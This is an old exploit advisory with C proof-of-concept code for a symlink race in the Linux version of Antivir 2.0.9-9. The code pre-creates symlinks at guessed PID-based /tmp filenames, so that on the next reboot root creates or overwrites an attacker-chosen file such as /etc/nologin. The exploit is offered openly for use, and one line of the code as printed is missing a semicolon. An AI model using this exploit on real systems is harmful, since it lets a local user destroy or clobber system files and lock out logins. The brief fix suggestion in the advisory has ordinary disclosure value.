discovered and written: l0om 
date: 13.01.2004
vulnerability: symlink vul for Antivir / Linux Version 2.0.9-9 (maybe lower)
productpage: www.antivir.de
risk: medium
 
antivir gets started on bootup and creates a tmp file
(/tmp/.pid_antivir_$$ - where
$$ is the process id). the file got read/write
permissions for the superuser
and nothing more. the file gets created and wont be
deleted till the system reboots.
well- as most of us know is the PID of a process is
not on every reboot the same.
so the PID of the antivir process goes +/- 10-20.
 
if we create a link with the correct name
(expamle .pid_antivr_1204) which points
somewhere to the system, it will create or overwrite
the destination of our symbolic link.
 
this exploits should work for most rebooting
systems, as we guess the pid of the
new process will be greater than 1000 and less than
2000. for better usage take
a look at the running proccess ID and set the defined
START -20 and END +20.
sometimes one reboot does the job and sometimes it
takes two reboots.
 
i think the programmers could use the same method
like the guys from xmms. before
they create anything they first "unlink" the filename
in the /tmp dir.
 
 
greets @ proxy, sirius, takt, maximilian, !ntruder,
fe2k, dna, feem, cyniker, xnet and the rest of excluded!
 
example:
./antisys /etc/nologin
(reboot)
ls -l /etc/nologin
rw------- root root /etc/nologin
 
have phun!
 
*******************************************************************/

 #include <stdio.h>
 #include <unistd.h>
 #include <string.h>
 
 #define PATH "/tmp/.pid_antivir_"
 #define START 1000
 #define END 2000
 
 int main(int argc, char **argv)
 {
 int i;
 char buf[150];
 
 printf("Antivir 2.0.9-9 exploit - written by l0om\n");
 printf(" WWW.EXCLUDED.ORG\n\n")
 
 if(argc != 2) {
 printf("usage: %s <destination-file>\n",argv[0]);
 exit(0xff);
 }
 
 printf("### hit enter to create or overwrite file %s: ",argv[1]); fflush(stdout);
 read(1, buf, 1); fflush(stdin);
 
 printf("working\n\n");
 for(i = START; i < END; i++) {
 snprintf(buf, sizeof(buf),"%s%d",PATH,i);
 if(symlink(argv[1], buf) == -1) {
 fprintf(stderr, "cannot create symlink from %s to %s[Nr.%d]\n",buf,argv[1],i);
 fprintf(stderr, "skipping...\n");
 }
 }
 printf("\ndone!\n");
 printf("on the next reboot we hopefully create or overwrite %s\n",argv[1]);
 return(0x00);
 } 


- l0om
- http://www.excluded.org